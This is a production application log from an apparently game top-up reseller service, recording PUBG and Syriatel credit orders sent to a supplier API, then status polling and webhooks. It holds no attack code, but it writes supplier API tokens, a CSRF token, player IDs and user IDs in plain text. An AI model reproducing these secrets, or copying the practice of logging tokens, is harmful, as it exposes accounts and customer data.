[2026-03-24 13:51:54] production.INFO: Operation sent successfully {"operation_id":163608,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-EkWfyjb-1774349513","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:51:54"}},"processed_data":{"order_number":"ORD-EkWfyjb-1774349513","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 13:51:55] production.INFO: Constructing job for order: 178687  
[2026-03-24 13:51:57] production.INFO: Handling job for order: 178687  
[2026-03-24 13:51:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:51:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:51:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=83e5164c-d7af-4302-8b26-04df6f1bae05&Player_ID=52283175999  
[2026-03-24 13:51:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=83e5164c-d7af-4302-8b26-04df6f1bae05&Player_ID=52283175999","has_body":false} 
[2026-03-24 13:51:58] production.INFO: Operation sent successfully {"operation_id":163609,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TxUGIM-1774349517","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:51:58"}},"processed_data":{"order_number":"ORD-TxUGIM-1774349517","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 13:52:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04"} 
[2026-03-24 13:52:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","total_operations":6,"sites_count":2} 
[2026-03-24 13:52:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639","ORD-niMiZ-1774349419","ORD-EkWfyjb-1774349513","ORD-TxUGIM-1774349517"]} 
[2026-03-24 13:52:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:52:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 13:52:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:52:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-EkWfyjb-1774349513","operation_id":163608} 
[2026-03-24 13:52:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:52:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609} 
[2026-03-24 13:52:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609,"processed":1,"skipped":4,"updates_prepared":1} 
[2026-03-24 13:52:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 13:52:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609,"count":1} 
[2026-03-24 13:52:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609,"count":1} 
[2026-03-24 13:52:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609,"user_id":1488,"notification_type":"order_approved","reference_id":178684} 
[2026-03-24 13:52:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:52:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:52:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609,"processed":1,"errors":0} 
[2026-03-24 13:52:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609,"processed":1,"errors":0} 
[2026-03-24 13:52:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609,"orders_count":1,"order_ids":["ORD-i3OqsA-1774349510"]} 
[2026-03-24 13:52:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609} 
[2026-03-24 13:52:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-TxUGIM-1774349517","operation_id":163609,"orders_count":1} 
[2026-03-24 13:52:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-i3OqsA-1774349510","operation_id":163607} 
[2026-03-24 13:52:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-i3OqsA-1774349510","operation_id":163607,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 13:52:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-i3OqsA-1774349510","operation_id":163607,"processed":0,"errors":0} 
[2026-03-24 13:52:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Z4YkAeLC2IXSkWiJhKLRIcBsNVWlmfIN","execution_time":"2026-03-24 13:52:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-i3OqsA-1774349510","operation_id":163607} 
[2026-03-24 13:52:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1488  
[2026-03-24 13:52:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-EkWfyjb-1774349513","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:52:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-EkWfyjb-1774349513","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:52:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:52:07] production.INFO: SendAcceptReject: Notification queued {"user_id":39,"notification_type":"order_approved","reference_id":178686} 
[2026-03-24 13:52:07] production.INFO: Order updated successfully. Order ID: 178686, Status: completed  
[2026-03-24 13:52:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-EkWfyjb-1774349513","status":"completed","codes_count":0} 
[2026-03-24 13:52:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-TxUGIM-1774349517","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:52:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-TxUGIM-1774349517","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:52:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:52:07] production.INFO: SendAcceptReject: Notification queued {"user_id":373,"notification_type":"order_approved","reference_id":178687} 
[2026-03-24 13:52:07] production.INFO: Order updated successfully. Order ID: 178687, Status: completed  
[2026-03-24 13:52:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-TxUGIM-1774349517","status":"completed","codes_count":0} 
[2026-03-24 13:52:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 39  
[2026-03-24 13:52:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 373  
[2026-03-24 13:52:23] production.INFO: Constructing job for order: 178688  
[2026-03-24 13:52:25] production.INFO: Handling job for order: 178688  
[2026-03-24 13:52:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:52:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:52:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=46eabc4c-06bf-4319-9a61-33a31dc19ddd&Player_ID=52017591351  
[2026-03-24 13:52:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=46eabc4c-06bf-4319-9a61-33a31dc19ddd&Player_ID=52017591351","has_body":false} 
[2026-03-24 13:52:26] production.INFO: Operation sent successfully {"operation_id":163610,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cC6-1774349545","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:52:26"}},"processed_data":{"order_number":"ORD-cC6-1774349545","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG"}} 
[2026-03-24 13:52:31] production.INFO: Constructing job for order: 178689  
[2026-03-24 13:52:32] production.INFO: Handling job for order: 178689  
[2026-03-24 13:52:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:52:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:52:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=fb51ae07-5df6-4e07-918f-8b320849db23&Player_ID=51724157649  
[2026-03-24 13:52:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=fb51ae07-5df6-4e07-918f-8b320849db23&Player_ID=51724157649","has_body":false} 
[2026-03-24 13:52:33] production.INFO: Operation sent successfully {"operation_id":163611,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Z3g-1774349552","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:52:33"}},"processed_data":{"order_number":"ORD-Z3g-1774349552","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 13:52:37] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-cC6-1774349545","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:52:37] production.INFO: Processed webhook data (normalized) {"id":"ORD-cC6-1774349545","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:52:37] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:52:37] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":178688} 
[2026-03-24 13:52:37] production.INFO: Order updated successfully. Order ID: 178688, Status: completed  
[2026-03-24 13:52:37] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-cC6-1774349545","status":"completed","codes_count":0} 
[2026-03-24 13:52:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 13:52:44] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Z3g-1774349552","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:52:44] production.INFO: Processed webhook data (normalized) {"id":"ORD-Z3g-1774349552","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:52:44] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:52:44] production.INFO: SendAcceptReject: Notification queued {"user_id":903,"notification_type":"order_approved","reference_id":178689} 
[2026-03-24 13:52:44] production.INFO: Order updated successfully. Order ID: 178689, Status: completed  
[2026-03-24 13:52:44] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Z3g-1774349552","status":"completed","codes_count":0} 
[2026-03-24 13:52:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 13:52:49] production.INFO: Constructing job for order: 178690  
[2026-03-24 13:52:51] production.INFO: Handling job for order: 178690  
[2026-03-24 13:52:51] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:52:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:52:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=522561c9-0b6b-4745-9ca7-6552b1ebf902&Player_ID=0938964881  
[2026-03-24 13:52:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/816/params?qty=1&uuid=522561c9-0b6b-4745-9ca7-6552b1ebf902&Player_ID=0938964881","has_body":false} 
[2026-03-24 13:52:51] production.INFO: Operation sent successfully {"operation_id":163612,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Tu0w-1774349571","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:52:51"}},"processed_data":{"order_number":"ORD-Tu0w-1774349571","amount":507.37695000000002210072125308215618133544921875,"status":"processing","product":"480.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:52:53] production.INFO: Constructing job for order: 178691  
[2026-03-24 13:52:54] production.INFO: Handling job for order: 178691  
[2026-03-24 13:52:54] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:52:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:52:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=0fd094b9-746a-43b7-a3be-280cc9250b75&Player_ID=51989241118  
[2026-03-24 13:52:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=0fd094b9-746a-43b7-a3be-280cc9250b75&Player_ID=51989241118","has_body":false} 
[2026-03-24 13:52:55] production.INFO: Operation sent successfully {"operation_id":163613,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gGa8V-1774349575","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:52:55"}},"processed_data":{"order_number":"ORD-gGa8V-1774349575","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 13:52:59] production.INFO: Constructing job for order: 178692  
[2026-03-24 13:53:01] production.INFO: Constructing job for order: 178693  
[2026-03-24 13:53:01] production.INFO: Handling job for order: 178692  
[2026-03-24 13:53:01] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:53:01] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:53:01] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=98654154-9698-4543-966b-f5a36802800d&Player_ID=51957524285  
[2026-03-24 13:53:01] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=98654154-9698-4543-966b-f5a36802800d&Player_ID=51957524285","has_body":false} 
[2026-03-24 13:53:02] production.INFO: Operation sent successfully {"operation_id":163614,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-V77-1774349582","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:53:02"}},"processed_data":{"order_number":"ORD-V77-1774349582","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 13:53:02] production.INFO: Handling job for order: 178693  
[2026-03-24 13:53:02] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:53:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:53:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=64c2cd37-950c-4ee4-9b84-4af60efccc76&Player_ID=0938964881  
[2026-03-24 13:53:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=64c2cd37-950c-4ee4-9b84-4af60efccc76&Player_ID=0938964881","has_body":false} 
[2026-03-24 13:53:03] production.INFO: Operation sent successfully {"operation_id":163615,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-48mqtb-1774349583","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:53:03"}},"processed_data":{"order_number":"ORD-48mqtb-1774349583","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:53:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gGa8V-1774349575","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:53:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-gGa8V-1774349575","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:53:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:53:04] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":178691} 
[2026-03-24 13:53:04] production.INFO: Order updated successfully. Order ID: 178691, Status: completed  
[2026-03-24 13:53:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gGa8V-1774349575","status":"completed","codes_count":0} 
[2026-03-24 13:53:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 13:53:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-V77-1774349582","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:53:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-V77-1774349582","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:53:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:53:13] production.INFO: SendAcceptReject: Notification queued {"user_id":903,"notification_type":"order_approved","reference_id":178692} 
[2026-03-24 13:53:13] production.INFO: Order updated successfully. Order ID: 178692, Status: completed  
[2026-03-24 13:53:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-V77-1774349582","status":"completed","codes_count":0} 
[2026-03-24 13:53:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 13:53:40] production.INFO: Creating credit request {"payload":{"_token":"zhpx7WkHz1IuOBRVKGTGsi8f1VRgPzfoLz3bUnGk","amount":"20000","method_id":"16","mainamount":"20000","operation_number":"132123132","note":",hwg"},"user_id":587} 
[2026-03-24 13:53:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 13:53:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 13:53:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 13:53:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 13:53:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 13:53:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 13:53:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 13:53:42] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 13:53:42] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18615,"user_id":587,"amount":20000.0,"admins_notified":7} 
[2026-03-24 13:54:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03"} 
[2026-03-24 13:54:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","total_operations":5,"sites_count":2} 
[2026-03-24 13:54:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639"]} 
[2026-03-24 13:54:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:54:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 13:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:54:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 13:54:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 13:54:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"orders_count":3,"order_ids":["ORD-i3OqsA-1774349510","ORD-Tu0w-1774349571","ORD-48mqtb-1774349583"]} 
[2026-03-24 13:54:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:54:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"orders_count":3} 
[2026-03-24 13:54:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tu0w-1774349571","operation_id":163612,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 13:54:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tu0w-1774349571","operation_id":163612,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 13:54:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"zNRTQrI6DC5ZULfh14yMd5iWTdiJ6VPc","execution_time":"2026-03-24 13:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Tu0w-1774349571","operation_id":163612,"count":3} 
